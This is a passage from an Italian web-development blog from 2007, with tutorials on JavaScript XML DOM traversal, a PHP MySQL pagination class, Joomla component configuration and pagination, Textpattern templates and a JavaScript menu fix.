Però lo stesso codice in Firefox e gli altri browser dà questo output

nome
#text

Il successivo nodo fratello di nome in questo caso è considerato un nodo Testo, i caratteri a capo e tabulazione che nel documento si trovano tra i tag </nome> e <data_nascita>.

E' chiaro quindi che se utilizziamo queste proprietà direttamente avremo sempre risultati differenti a seconda del browser in cui il nostro codice Javascript viene eseguito.

Possiamo di nuovo creare delle funzioni personalizzate

function nextSiblingElement(node) {
  var sibling = node.nextSibling;
  while(sibling && sibling.nodeType != 1) {
    sibling = sibling.nextSibling;
  }
  return sibling;
}

La funzione omologa, previousSiblingElement(), potete trovarla negli esempi di codice scaricabili dal sito.

Proprietà firstChild, lastChild

Queste due proprietà di un oggetto nodo restituiscono rispettivamente il primo e l'ultimo dei nodi figli. Anche in questo caso, come a questo punto è facile aspettarsi, i caratteri a capo e tabulazione presenti tra i nodi sono scartati automaticamente da Internet Explorer, ma considerati nodi di tipo Testo dagli altri browser.

Negli esempi di codice sono presenti due funzioni firstChildElement() e lastChildElement() che possono essere utilizzate per ovviare a queste discrepanze.

Metodo getElementsByTagName()

I nodi possono essere estratti per nome dal documento tramite il metodo getElementsByTagName()
node.getElementsByTagName("tag")

che restituisce una lista di nodi discendenti di node e aventi tag come valore della proprietà nodeName.

Esempio:

var nodes = root.getElementsByTagName('nome');
for (var i=0; i < nodes.length;  i++)  {
  document.write('Nome: ' + nodes[i].nodeName);
  /*...*/
}

Ritorna tutti i nodi con tag nome presenti nel documento in quanto abbiamo invocato il metodo sul nodo radice (compositori).

Notate che i nodi nome sono figli dei nodi compositore non del nodo radice. Perchè sia incluso nella lista restituita da getElementsByTagName() è sufficiente che un nodo sia discendente del nodo su cui il metodo è invocato.

Attributi dei nodi

Ad un nodo può essere associata una lista di attributi. Ogni attributo è un oggetto che ha un nome (proprietà name) e un valore (proprietà value).

Nel documento XML di esempio, epoca è un attributo di tutti i nodi compositore. La proprietà attributes di un nodo restituisce la lista di attributi di quel nodo. Si può accedere così alle proprietà di ogni attributo.

Esempio:

nodes = root.getElementsByTagName('compositore');
for (i=0; i < nodes.length; i++) {
  attrs = nodes[i].attributes;
  for(x=0; x < attrs.length; x++) {
    document.write(attrs[x].name + ' | ' + attrs[x].value);
    document.write("<br />");
  }
}

Output:

epoca | classicismo
epoca | romanticismo
epoca | romanticismo

Dato un nodo e il nome di un attributo, il metodo getAttribute() restituisce il valore dell'attributo.

Esempio:

nodes = root.getElementsByTagName('compositore');
for (i=0; i < nodes.length; i++) {
  document.write(nodes[i].getAttribute('epoca'));
  document.write("<br />");
}

Output:

classicismo
romanticismo
romanticismo

Accedere al contenuto dei nodi Testo

Supponiamo di voler estrarre dal documento un elenco delle date di nascita di tutti i compositori. Si potrebbe essere tentati di scrivere

nodes = root.getElementsByTagName('data_nascita');
for (i=0; i < nodes.length; i++) {
  document.write(nodes[i].nodeValue);
  document.write("<br />");
}

Viene intuitivo (almeno così è successo a me la prima volta che ho fatto qualcosa di questo genere) pensare al testo all'interno dei tag <data_nascita></data_nascita> come valore del nodo corrispondente. Ma non è così, infatti il risultato del codice sopra riportato è

null
null
null

Il codice corretto è

nodes = root.getElementsByTagName('data_nascita');
for (i=0; i < nodes.length; i++) {
  document.write(nodes[i].childNodes[0].nodeValue);
  document.write("<br />");
}

Che dà il risultato che ci aspettiamo

1756-01-27
1797-01-31
1770-12-17

La proprietà nodeValue di un nodo di tipo Elemento è sempre null. Il contenuto di un nodo di tipo Elemento è a sua volta un nodo (di tipo Testo in questo caso) ed è la proprietà nodeValue di questo nodo figlio (ottenuto tramite childNodes) che contiene il testo che ci interessa.

Un'altra cosa che conviene sottolineare è che childNodes restituisce sempre una lista di nodi per cui anche quando i figli siano solo uno si deve usare l'indice (zero).

Attraversare l'albero del documento

Abbiamo visto le funzioni principali per estrarre informazioni da un documento XML con Javascript. Per finire eccovi una funzione in qualche modo riassuntiva che utilizza molte delle funzioni e metodi visti (ma anche qualcuno che non abbiamo esaminato in dettaglio).

La funzione parte dalla radice del documento o da un altro nodo passato come argomento, scorre ricorsivamente tutto l'albero (o il sottoalbero dato dai soli discendenti del nodo ricevuto come argomento) e stampa una serie di informazioni sulle proprietà dei singoli nodi.

function readXML(node) {
  var cn = node.childNodes;
  var ct = node.childNodes.length;
  for (var i=0; i<ct; i++)  {
    document.write('---- Nodo ' + cn[i].nodeName + 
    ' ----<br />');
    var pn = cn[i].parentNode;
    document.write('Nodo Padre: ' + pn.nodeName);
    document.write("<br />");
    document.write('Tipo:' + cn[i].nodeType);
    document.write("<br />");
    document.write('Nome: ' + cn[i].nodeName);
    document.write("<br />");
    document.write('Valore: ' + cn[i].nodeValue);
    document.write("<br />");
    
    if(cn[i].nodeType == 1) {
      var attrs = cn[i].attributes;
      document.write("---- Attributi ----<br />");
      for(x=0; x < attrs.length; x++) {
        document.write(attrs[x].name + ' = ' + attrs[x].value);
        document.write("<br />");
      }
      document.write("<br />");
    }
    var ps = cn[i].previousSibling;
    if(ps) {
      document.write('Fratello Prec.: ' + ps.nodeName);
      document.write("<br />");
    }
    var ns = cn[i].nextSibling;
    if(ns) {
      document.write('Fratello Succ.: ' + ns.nodeName);
      document.write("<br />");
    }
    document.write('N. Figli: ' + cn[i].childNodes.length);
    document.write("<br /><br />");
    if(cn[i].childNodes.length > 0) {
      readXML(cn[i]);
    }
  }
}
Il codice, come tutti gli altri esempi dell'articolo, è anche incluso nel file js-xml.zip che potete scaricare dal sito.

martedì 20 novembre 2007

PHP: Paginazione dei Risultati di una Query

Capita spesso quando si sviluppano applicazioni per il web di dover visualizzare in una tabella grandi quantità di dati provenienti da una query SQL.

In questi casi costringere gli utenti a scorrere una enorme pagina di dati non sarebbe certo una buona idea. Molto meglio adottare una visualizzazione in pagine multiple con link di navigazione che consentano di passare da una pagina all'altra.

Visto che la paginazione dei risultati di una query è un compito che le nostre applicazioni devono svolgere spesso, si tratta del candidato ideale per una classe php. Scrivendo una classe che svolga questa funzione non saremo costretti a riscrivere lo stesso codice tutte le volte.

PDatagrid è una classe che estrae dati da un database MySQL in base ad una determinata query ed impagina i risultati in un formato tabellare (per impostazione predefinita, ma altri tipi di formato sono possibili) con link di navigazione alle singole pagine di dati.

Il pacchetto contiene i seguenti file

  • pdatagrid.class.php - definizione della classe.
  • docs/ - cartella con la documentazione generata con PHP Documentor (in inglese).
  • example1.php, example2.php - semplici file dimostrativi dell'utilizzo della classe.
  • style.css - esempio di foglio di stile per controllare l'aspetto della tabella.
  • dbconfig.php - costanti per la connessione al database usate dal codice di esempio.
  • composers.sql - script sql per ricreare la tabella MySQL utilizzata negli esempi.

Come utilizzare la classe

L'uso della classe è semplice, ecco comunque tutti i passi da seguire per integrarla nelle vostre applicazioni. Il codice che segue è tratto dal file di esempio (example1.php)

1)
require 'pdatagrid.class.php';

Ovviamente il primo passo è includere il file di definizione della classe.

2)
require 'dbconfig.php';
$conn = mysql_connect(DB_HOST, DB_USER, DB_PASSWORD) 
  or die('Connection to database failed: ' . mysql_error());
mysql_select_db(DB_NAME) or die ('select_db failed!');

Si effettua la connessione al database. Il file dbconfig.php è presente nel pacchetto e deve essere modificato con il nome database, nome utente e password necessari per accedere al vostro database.

3)
$grid = new PDatagrid($conn);

Si crea un'istanza della classe PDatagrid e si inizializza con la connessione al database appena creata.

4)
$grid->setSqlCount("Select count(*) from composers");
$grid->setSqlSelect("Select name, 
  date_format(date_birth,'%b %D %Y') db, 
  date_format(date_death,'%b %D %Y') dd from composers");

Si devono impostare due diverse query SQL. La prima per contare il numero di record che si vogliono visualizzare, la seconda per estrarli con SELECT. Da notare che nell'esempio non c'è nessuna condizione WHERE perché vogliamo visualizzare tutti i record della tabella. Se avessimo bisogno di impostare una condizione WHERE la stessa condizione dovrebbe essere presente in entrambe le query o la paginazione non potrebbe funzionare.

5)
$grid->baselink = 'example1.php';
$grid->setMaxNavLinks(4);
$grid->setRowsPerPage(5);
if(isset($_GET['page']))
  $grid->setPage($_GET['page']);

Si impostano nell'ordine:

  • la url base per i link di navigazione
  • il numero massimo dei link di navigazione. Questi sono i link che puntano alle singole pagine. Se le pagine di dati da visualizzare sono molte avere un link ad ogni pagina occuperebbe troppo spazio, in questo caso si imposta il numero massimo di questi link con setMaxNavLinks().
  • il numero di record da visualizzare su una pagina
  • il numero della pagina corrente. Se $_GET['page'] non è impostato allora siamo sulla prima pagina dei risultati, altrimenti la variabile page nella url indica il numero di pagina corrente (vedere nel codice il formato dei link di navigazione)

La parte rimanente del codice è costituite da semplici istruzioni per generare l'html necessario alla visualizzazione della tabella

6)
<table cellspacing="0" cellpadding="0" width="500">
<thead>
<tr>
  <td width="50%">Name</td>
  <td width="25%">Date of Birth</td>
  <td width="25%">Date of Death</td>
</tr>
</thead>

Intestazioni dei campi

7)
<tfoot>
<tr>
  <td colspan="3">
  <span id="navlinks">
    <?php echo $grid->getLinks();?>
  </span>
  </td>
</tr>
</tfoot>

Link di navigazione nel footer

8)
<tbody>
  <?php echo $grid->getRows();?>
</tbody>
</table>

Le righe della tabella nel body

Foglio di stile

L'aspetto della tabella è controllato interamente attraverso fogli di stile. Tra le altre cose agendo sugli opportuni attributi (fare riferimento ai commenti nel file style.css usato dagli esempi) si può impostare un colore di sfondo alternato per le righe in posizione pari e dispari e modificare l'aspetto dei link di navigazione.

Altri esempi

example2.php dimostra come sia possibile visualizzare i record in un formato diverso dalla tipica griglia.

Per fare questo si utilizzano le proprietà rowfmt e fieldfmt che consentono di impostare un formato di visualizzazione di una riga di dati e del singolo campo.

$grid->rowfmt = "<ul%s>%s</ul>\n";
$grid->fieldfmt = "<li>%s</li>";

In questo modo si utilizza un insieme di liste non ordinate per la visualizzazione dei record. Le stringhe di formato usano la stessa sintassi dell'istruzione sprintf.

Il pacchetto (pdatagrid.zip) è scaricabile dal sito. Per provarlo scompattate il tutto in una directory del vostro sito o webserver locale. Per eseguire gli esempi dimostrativi dei diversi tipi di paginazione dei dati che si possono ottenere con la classe, è necessario anche creare un database, modificare dbconfig.php con i dati per l'accesso allo stesso e lanciare lo script composers.sql per creare la tabella di prova.

I commenti al codice e la documentazione completa (che non contiene però molto di più di quanto spiegato in questo articolo) sono in inglese perché ho creato la classe per un sito estero con cui collaboro e non avevo troppa voglia di tradurre il tutto. Chi incontrasse problemi insormontabili di lingua può contattarmi.

Spero la classe vi torni utile, modifiche e futuri sviluppi sono sempre possibili.

mercoledì 31 ottobre 2007

Joomla 1.0: Funzione di Configurazione di un Componente

Tutti i componenti per Joomla, a meno che si tratti di componenti estremamente semplici, offrono all'utilizzatore la possibilità di impostare un certo numero di parametri di configurazione e preferenze.

La gestione di questa funzionalità viene fatta dall'area di amministrazione componenti di Joomla (backend).

Ho scritto un micro componente per mostrare uno dei tanti modi in cui questo tipo di funzionalità può essere implementata. L'occasione è stata la risposta ad una domanda fatta nel forum italiano a www.joomla.org.

Il componente utilizza ConfigMagik una classe open source trovata su phpclasses.org che serve a leggere e scrivere file in formato INI standard (quello usato da php.ini per intendersi).

Esempio di file di configurazione

[sezione1]
parametro1 = "valore1"
parametro2 = "valore2"
[sezione2]
parametro1 = "valore1"
parametro2 = "valore2"

L'uso della classe è semplice. Si crea un'istanza in questo modo

$Cfg = new ConfigMagik('ini_path');

ini_path contiene il percorso completo al file di configurazione che viene caricato immediatamente, ovviamente se esiste, dal costruttore della classe.

Per leggere il valore di un parametro dal file di configurazione si utilizza il metodo get passando come argomenti gli identificativi del parametro e della sezione. I parametri possono infatti essere ordinati in sezioni il che consente di utilizzare lo stesso identificativo per parametri diversi purché appartenenti a sezioni diverse.

Usando come esempio il file di configurazione riportato sopra si avrebbe

$valore1 = $Cfg->get('parametro1', 'sezione1');

Per modificare il valore di un parametro si utilizza il metodo set

$Cfg->set('valore1', $nuovo_valore1, 'sezione1');

Se si imposta a true il parametro synchronize quando si crea l'oggetto di classe ConfigMagik il file di configurazione è immediatamente aggiornato con il nuovo valore del parametro impostato con il metodo set.

Altrimenti (synchronize uguale a false) il nuovo valore del parametro è salvato internamente alla classe e bisogna invocare il metodo save per aggiornare il file di configurazione.

$Cfg->save();

Rimando per ulteriori dettagli al sorgente della classe che è ben documentato.

Il componente di esempio è scheletrico, ma completo. Può essere scaricato dal sito (cconfig.zip) e installato. Dall'area di amministrazione (menu Configurazione) si potranno inserire due valori nel file di configurazione. Creando un link al componente (o inserendo direttamente nel browser la url .../index.php?option=com_cconfig) i valori saranno visualizzati su schermo.

martedì 23 ottobre 2007

Textpattern: Liste Articoli e Pagine Statiche

Proseguiamo la creazione del sito di esempio con Textpattern. Invece di continuare ad apportare le modifiche sullo stesso sito creato nel corso del primo articolo, ho preferito farne una copia (questa) in modo che, arrivati alla fine, sia possibile un confronto del tipo "prima e dopo la cura".

Chi avesse creato passo passo la propria versione del sito leggendo l'articolo precedente, può semplicemente riprendere il filo e continuare a lavorare su quello.

Come prima cosa ho inserito un altro articolo come riempitivo sia perché un solo articolo non basta per dimostrare certe funzioni, sia per avere l'occasione di scrivere qualche altra fesseria.

Poi ho scritto un sommario (excerpt se avete la versione inglese) per ogni articolo della sezione PHP.

Il sommario si inserisce in una casella di testo etichettata sommario (eh gia!) che si trova sotto l'area di inserimento articolo (Contenuti -> Scrivi oppure Contenuti -> Articoli e click sul titolo dell'articolo).

E' forse inutile precisare, ma lo faccio lo stesso, che il sommario non deve necessariamente essere presente, può essere inserito quando si scrive l'articolo o modificando l'articolo successivamente, può contenere tag html e può essere scritto con la sintassi Textile esattamente come il contenuto principale dell'articolo.

Liste articoli con sommario

Tutto questo lavoro preparatorio serve alla prima modifica da apportare al sito: vogliamo che in prima pagina e nella sezione Articoli sia presentato soltanto il sommario degli articoli più recenti con un link (leggi tutto ...) che porti alla versione completa dell'articolo visualizzata a tutta pagina.

Per ottenere questo è necessario modificare il modulo articolo default (Aspetto -> Moduli) in questo modo

<h3>
  <txp:permlink>
    <txp:title />
  </txp:permlink> 
  &#183; <txp:posted />
</h3>
<txp:if_article_list>
  <txp:excerpt />
  <txp:permlink>Leggi tutto ...</txp:permlink>
<txp:else />
  <txp:article_image class="article-image" />
  <txp:body />
  <p>&#8212; <txp:author /></p>
  <txp:comments_invite wraptag="p" />
</txp:if_article_list>
<div class="divider">
  <img src="<txp:site_url />images/1.gif" width="400" 
  height="1" alt="---" title="" />
</div>

Le righe in blu sono quelle da aggiungere le altre dovreste averle ereditate dalle modifiche fatte negli articoli precedenti.

L'uso di Textpattern, una volta appresi i concetti base, è molto più intuitivo di quello che potrebbe sembrare a prima vista. I nomi dei tag sono descrittivi, per cui basta leggere (e tradurre) per capire il senso delle modifiche appena fatte.

<txp:if_article_list> è un tag condizionale, serve ad includere certi tag se una certa condizione è vera ed altri tag se la stessa condizione è falsa. La condizione in questo specifico caso è la visualizzazione di una lista di articoli.

Quindi stiamo dando a Textpattern queste istruzioni.

Se il modulo articolo default è utilizzato per la visualizzazione di una lista di articoli (<txp:if_article_list>), mostra il sommario (<txp:excerpt />) seguito da un link alla pagina individuale dell'articolo (<txp:permlink>) usando Leggi tutto ... come testo cliccabile del link. In ogni altro caso (<txp:else />), quindi quando l'articolo è visualizzato non in una lista ma individualmente, mostra una eventuale immagine associata all'articolo (<txp:article_image class="article-image" />), il corpo completo (<txp:body />), l'autore (<txp:author />) e l'invito a commentare (<txp:comments_invite />).

Se visualizzate il sito dopo aver fatto queste modifiche al modulo vedrete che in prima pagina e nella sezione Articoli viene mostrato solo il sommario degli articoli e il link Leggi tutto ....

Pagine statiche

Il problema è che la stessa cosa succede anche nella sezione Chi Siamo e questo non va bene. Questa sezione infatti contiene (e sempre conterrà) un solo articolo per cui non ha senso costringere il visitatore a cliccare un link Leggi tutto. L'articolo dovrà essere mostrato per esteso non appena si entra nella sezione.

In pratica vogliamo dare alla sezione Chi Siamo l'apparenza di una pagina statica. Questo è possibile creando un nuovo modello di pagina da assegnare alla sezione. Fino ad ora infatti abbiamo usato il modello pagina default per tutte le sezioni.

Prima di procedere è necessario un po' di lavoro preliminare. Nel momento in cui si devono utilizzare più modelli pagina per un unico sito è necessario che la struttura dei singoli modelli sia il più modulare possibile in modo da evitare duplicazioni di codice e rendere più semplice apportare future modifiche.

Questa è la struttura attuale della pagina default

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" 
lang="en">
<head>
  <meta http-equiv="Content-Type" content="text/html; 
  charset=utf-8" />
  <title><txp:page_title /></title>
  <txp:feed_link flavor="atom" format="link" label="Atom" />
  <txp:feed_link flavor="rss" format="link" label="RSS" />
  <txp:css format="link" />
</head>
<body>

<!-- accessibility -->
<div id="accessibility">
  <ul>
    <li>
      <a href="#content">
        <txp:text item="go_content" />
      </a>
    </li>
    <li>
      <a href="#sidebar-1">
        <txp:text item="go_nav" />
      </a>
    </li>
    <li>
      <a href="#sidebar-2">
        <txp:text item="go_search" />
      </a>
    </li>
  </ul>
</div>

<div id="container">
  <!-- head -->
  <div id="head">
    <h1><txp:link_to_home><txp:site_name /></txp:link_to_home></h1>
    <h2><txp:site_slogan /></h2>
  </div>

  <!-- left -->
  <div id="sidebar-1">
    <txp:section_list break="li" wraptag="ul" />
    <txp:linklist wraptag="p" />
  </div>

  <!-- right -->
  <div id="sidebar-2">
    <txp:search_input wraptag="p" />
    <txp:popup type="c" wraptag="p" />
    <p>
      <txp:feed_link label="RSS" /> / 
      <txp:feed_link flavor="atom" label="Atom" />
    </p>
  </div>

  <!-- center -->
  <div id="content">
    <txp:article limit="5" />
    <txp:if_individual_article>
      <p>
        <txp:link_to_prev>
          <txp:prev_title />
        </txp:link_to_prev> 
        <txp:link_to_next>
          <txp:next_title />
        </txp:link_to_next>
      </p>
    <txp:else />
      <p>
        <txp:older>
          <txp:text item="older" />
        </txp:older> 
        <txp:newer>
          <txp:text item="newer" />
        </txp:newer>
      </p>
    </txp:if_individual_article>
  </div>

  <!-- footer -->
  <div id="foot">&nbsp;</div>
</div> <!-- end container -->
</body>
</html>

Inseriamo in moduli separati le parti che possono essere comuni a più pagine.

Creiamo un nuovo modulo. Aspetto -> Moduli e link Crea un nuovo modulo sulla colonna di destra.

Impostiamo head come nome modulo e misc come tipologia, il contenuto del modulo è il seguente.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" 
lang="en">
<head>
  <meta http-equiv="Content-Type" content="text/html; 
  charset=utf-8" />
  <title><txp:page_title /></title>
  <txp:feed_link flavor="atom" format="link" label="Atom" />
  <txp:feed_link flavor="rss" format="link" label="RSS" />
  <txp:css format="link" />
</head>

Salviamo e ripetiamo essattamente la stessa procedura per creare un modulo accessibility (sempre tipologia misc come tutti gli altri creati di seguito) con il seguente contenuto

<div id="accessibility">
  <ul>
    <li>
      <a href="#content">
        <txp:text item="go_content" />
      </a>
    </li>
    <li>
      <a href="#sidebar-1">
        <txp:text item="go_nav" />
      </a>
    </li>
    <li>
      <a href="#sidebar-2">
        <txp:text item="go_search" />
      </a>
    </li>
  </ul>
</div>

Modulo header

<h1>
  <txp:link_to_home><txp:site_name /></txp:link_to_home>
</h1>
<h2>
  <txp:site_slogan />
</h2>

Modulo navbar

<txp:section_list break="li" wraptag="ul" />
<txp:linklist wraptag="p" />

Modulo rightcol

<txp:search_input wraptag="p" />
<txp:popup type="c" wraptag="p" />
<p>
  <txp:feed_link label="RSS" /> / 
  <txp:feed_link flavor="atom" label="Atom" />
</p>

Modulo bottomnav

<txp:if_individual_article>
  <p>
    <txp:link_to_prev>
      <txp:prev_title />
    </txp:link_to_prev> 
    <txp:link_to_next>
      <txp:next_title />
    </txp:link_to_next>
  </p>
<txp:else />
  <p>
    <txp:older>
      <txp:text item="older" />
    </txp:older> 
    <txp:newer>
      <txp:text item="newer" />
    </txp:newer>
  </p>
</txp:if_individual_article>

Modulo footer

<div id="foot">&nbsp;</div>
</div> <!-- end container -->
</body>
</html>

Il modello pagina default può essere riscritto utilizzando i moduli appena creati.

<txp:output_form form="head" />
<body>
<txp:output_form form="accessibility" />
<div id="container">
  <div id="head">
    <txp:output_form form="header" />
  </div>
  <div id="sidebar-1">
    <txp:output_form form="navbar" />
  </div>
  <div id="sidebar-2">
    <txp:output_form form="rightcol" /> 
  </div>
  <div id="content">
    <txp:article limit="5" />
    <txp:output_form form="bottomnav" />
  </div>
<txp:output_form form="footer" />

Non è difficle intuire che il tag <txp:output_form /> serve ad includere il contenuto di un modulo il cui nome viene indicato nell'attributo form.

Possiamo a questo punto creare il modulo articolo da utilizzare sulla pagina statica. Come al solito Aspetto -> Moduli, Crea un nuovo modulo.

Nome static_art, tipologia modulo article

<h3><txp:title /></h3>
<txp:article_image class="article-image" />
<txp:body/>

Non visualizziamo nè autore, nè data perché non avrebbero senso per questo tipo di articolo.

A questo punto possiamo creare il modello della pagina statica.

Aspetto -> Pagine e selezioniamo default (dovrebbe essere già selezionata). Nel campo Copia pagina come: (sotto l'area di testo che contiene la definizione del modello) inseriamo static e premiamo il pulsante Copia.

Viene creata una copia della pagina default con il nome static. Dobbiamo fare una sola modifica. Trovato il tag

<txp:article limit="5" />
Lo sostituiamo con
<txp:article form="static_art" />

Poiché usiamo un modulo articolo diverso da default ne dobbiamo indicare il nome nell'attributo form del tag <txp:article />. Salviamo la pagina static. Resta solo da assegnare il modello appena creato alla sezione Chi Siamo

Aspetto -> Sezioni, nell'elenco modifichiamo il campo Usa la pagina della sezione chi-siamo da default a static.

Abbiamo finito. La prima pagina e la sezione Articoli mostrano adesso una lista di articoli con sommario e link Leggi tutto, la sezione Chi Siamo contiene un singolo articolo mostrato per intero.

Per concludere

Tutte le modifiche sono incluse nella versione aggiornata del sito di esempio. Per riassumere
  • Abbiamo modificato il modulo articolo default per ottenere un formato di visualizzazione diverso a seconda che l'articolo sia visualizzato all'interno di una lista articoli o in una pagina individuale.
  • Abbiamo creato una serie di moduli di tipo misc contenenti codice da usare su più modelli pagina e utilizzato questi moduli per semplificare la struttura della pagina default
  • Abbiamo creato un nuovo modulo articolo static_art da utilizzare in una pagina statica.
  • Abbiamo creato il modello di pagina static e lo abbiamo assegnato alla sezione Chi Siamo
Alla prossima.

mercoledì 3 ottobre 2007

Aggiornamento Menu Javascript (QMenu)

Mi è stato fatto notare che QMenu, il menu a tendina in Javascript presentato in questo articolo, presenta dei problemi quando viene usato in una pagina che non contiene un DOCTYPE valido visualizzata da Internet Explorer.

Questo succede perché Internet Explorer utilizza il cosiddetto quirks mode per visualizzare un documento html/xhtml privo di DOCTYPE. Le conseguenze, per quello che interessa il nostro script e senza voler approfondire più di tanto, sono che i tag DIV che compongono gli elementi del menu sono dimensionati e posizionati in modo leggermente diverso rispetto a quanto avviene negli altri browser (e nello stesso Internet Explorer in standard mode, cioè in presenza di un DOCTYPE valido nel documento).

Tutto questo causa degli antiestetici spazi vuoti tra i vari elementi del menu.

La soluzione sarebbe quella di utilizzare sempre un DOCTYPE valido per i propri documenti html/xhtml ed evitare del tutto le problematiche relative al quirks mode. Però è vero che ci sono siti web che, per ignoranza del web designer o perché molto vecchi, sono stati creati assumendo che il quirks mode fosse l'unica modalità di visualizzazione.

In questi casi casi aggiungere un DOCTYPE e forzare lo standard mode può produrre errori di visualizzazione delle pagine in Internet Explorer.

L'unica possibilità è quindi quella di modificare lo script in modo che si adatti alle diverse modalità di visualizzazione. Ed è quello che ho fatto anche perché se no questa lunga introduzione servirebbe a ben poco.

Individuare il 'quirks mode' in Javascript

Per individuare se il documento viene visualizzato dal browser in quirks mode si usa la proprietà compatMode dell'oggetto document in questo modo

if(document.compatMode=='BackCompat') {
 //siamo in quirks mode
}

Cosa faccia lo script in questa situazione lo lascio scoprire, chiaramente a chi interessa, controllando il sorgente. Non è niente di difficile, solo semplici aggiustamenti per correggere la posizione degli elementi del menu quando la modalità di visualizzazione è quirks mode e il browser è Internet Explorer.

La versione modificata (1.01) di QMenu è scaricabile dal sito.

Ho cercato di provare bene la modifica su tutte le versioni dei browser su cui ho potuto mettere le mani, fatemi sapere se incontrate problemi.

venerdì 28 settembre 2007

Joomla 1.5: Continuiamo lo Sviluppo del Componente di Esempio

Riprendiamo il lavoro sul componente di esempio per Joomla 1.5.

Per chi se le fosse perse ecco i link alle puntate precedenti

Al punto in cui siamo arrivati l'area di amministrazione del componente manca di tutta una serie di funzioni standard che devono essere presenti in ogni componente che si rispetti. E questo sarà pure solo un componente di esempio, ma al rispetto ci tiene!

Inizieremo con l'aggiungere una funzione standard di paginazione record alla tabella per la visualizzazione dei dati inseriti dall'utente tramite il modulo di immissione dati.

Model

La prima parte da modificare è il codice della classe relativa all'oggetto Model del backend.

Riporto per chiarezza tutto il codice della classe MyFormModelMyForm. Se (con molta pazienza!) avete costruito il componente seguendo passo passo gli articoli precedenti potete aggiungere o modificare solo le parti in blu, le altre le dovreste avere, una controllatina non fa male però.

Il file è myform.php in
.../administrator/components/com_myform/models

class MyFormModelMyForm extends JModel {
  var $_total = null;
  var $_pagination = null;
  function __construct() {
    parent::__construct();
    global $mainframe, $option;

    $limit = $mainframe->getUserStateFromRequest('global.list.limit', 
    'limit', $mainframe->getCfg('list_limit'), 'int');
    $limitstart = $mainframe->getUserStateFromRequest($option.
    'limitstart', 'limitstart', 0, 'int');

    $this->setState('limit', $limit);
    $this->setState('limitstart', $limitstart);
  }
  function _buildQuery() {
    $query = ' SELECT * FROM #__myform ';
    return $query;
  }
  function getTotal() {
    if (empty($this->_total)) {
      $query = $this->_buildQuery();
      $this->_total = $this->_getListCount($query);
    }
    return $this->_total;
  }
  function getPagination() {
    if (empty($this->_pagination)) {
      jimport('joomla.html.pagination');
      $this->_pagination = new JPagination($this->getTotal(),
      $this->getState('limitstart'), $this->getState('limit'));
    }
    return $this->_pagination;
  }
  function getData() {
    $query = $this->_buildQuery();
    $pagination = $this->getPagination();
    $data = $this->_getList($query, $pagination->limitstart,
    $pagination->limit);
    return $data;
  }
}

Andiamo con ordine.
La funzione di paginazione record ha bisogno di due parametri fondamentali: il numero di record da visualizzare per ogni pagina (limit) e il numero della pagina su cui ci si trova (limitstart).

Il valore di questi parametri varia quando l'utente si sposta di pagina in pagina o modifica il numero delle righe da visualizzare con la lista di selezione in fondo alla tabella.

Il costruttore della classe utilizza il metodo getUserStateFromRequest() per recuperare i valori di limitstart e limit.

Funzioni che gestiscono queste, così definite nella documentazione ufficiale, variabili di stato utente (user state variable) si incontrano spesso esaminando il codice di componenti: getUserState, setUserState, getUserStateFromRequest, tutte definite in .../libraries/joomla/application/application.php come metodi della classe JApplication.

Il termine user state variable può confondere. Tutto sommato si tratta però di un concetto semplice: sono variabili che mantengono il loro valore attraverso diverse esecuzioni dello script perché sono salvate come variabili di sessione.

L'istruzione

$limit = $mainframe->getUserStateFromRequest('global.list.limit', 
  'limit', $mainframe->getCfg('list_limit'), 'int');

svolge le seguenti operazioni.

Legge il valore della variabile di stato (o se vi torna meglio di sessione) global.list.limit attraverso il metodo getUserState() e ritorna questo valore, a meno che un nuovo valore sia passato allo script tramite $_REQUEST['limit']. In questo caso è questo valore che viene salvato come nuova variabile di sessione (tramite setUserState()) ed è ritornato dalla funzione.

Se global.list.limit non esiste come variabile di sessione e nessun valore è passato in $_REQUEST['limit'], la funzione ritorna il valore di default che abbiamo passato come terzo argomento. In questo caso $mainframe->getCfg('list_limit') che non è nient'altro che il valore predefinito della lunghezza (cioè del numero delle righe per pagina) di tutte le tabelle dell'area di amministrazione, impostabile tramite Configurazione Globale -> Sito.

Quanto detto per $limit vale ovviamente per $limitstart.

Entrambi i valori sono salvati come stati di Model tramite il metodo setState() della classe JModel.

Implementiamo un metodo nuovo getTotal(). Questo metodo si limita a passare indietro il valore di ritorno del metodo privato _getListCount(), definito nella classe JModel, che riceve come argomento una query SQL (definita in _buildQuery()) e restituisce il numero totale dei record estratti dal database in base ad essa.

Inseriamo poi il metodo getPagination() che crea un'istanza della classe JPagination, la inizializza con i valori del numero totale dei record (ricavato da getTotal()), il numero della pagina da visualizzare (stato limitstart), il numero dei record da visualizzare su una pagina (stato limit) e restituisce l'oggetto. Vedremo poi come e da quale funzione sarà utilizzato.

Poiché i valori di limit e limitstart erano stati salvati nel costruttore come stati dell'oggetto Model tramite il metodo setState(), vengono ora recuperati con il reciproco getState().

Infine il metodo getData() dell'oggetto Model deve essere modificato per supportare la paginazione dei record. Il metodo privato _getList() (di JModel) deve ricevere oltre alla query sql (restituita da _buildQuery()) come già accadeva nelle precedenti versioni del componente, anche i valori di limit e limitstart senza i quali sarebbe sempre restituita la lista completa dei record estratti in base alla query senza alcuna paginazione.

View

Va poi modificata la classe MyFormViewMyForm. Il file è view.html.php in
.../administrator/components/com_myform/views/myform/

Come al solito le righe aggiunte sono in blu

class MyFormViewMyForm extends JView {
  function display($tpl = null) {
    $items =& $this->get('Data');
    $pagination = & $this->get('Pagination');
    $this->assignRef('items', $items);
    $this->assignRef('pagination', $pagination);
    parent::display($tpl);
  }
}

Veramente non c'è molto da dire. Ricordo solo che quando un oggetto Model contiene un metodo il cui nome inizia con get, l'oggetto View a cui detto oggetto Model è stato assegnato può accedere al valore di ritorno del metodo come se si trattasse di una sua proprietà il cui nome è uguale al nome del metodo meno il get iniziale.

Quindi

$pagination = & $this->get('Pagination');

assegna a $pagination l'oggetto creato dal metodo getPagination() che abbiamo implementato nell'oggetto Model poco fa.

Anche di assignref() si è già parlato negli articoli precedenti. Alla variabile $pagination viene assegnato un identificativo pagination che verrà utilizzato per riferirsi all'oggetto nel template.

Template

L'ultima modifica riguarda il template. Il file è default.php in
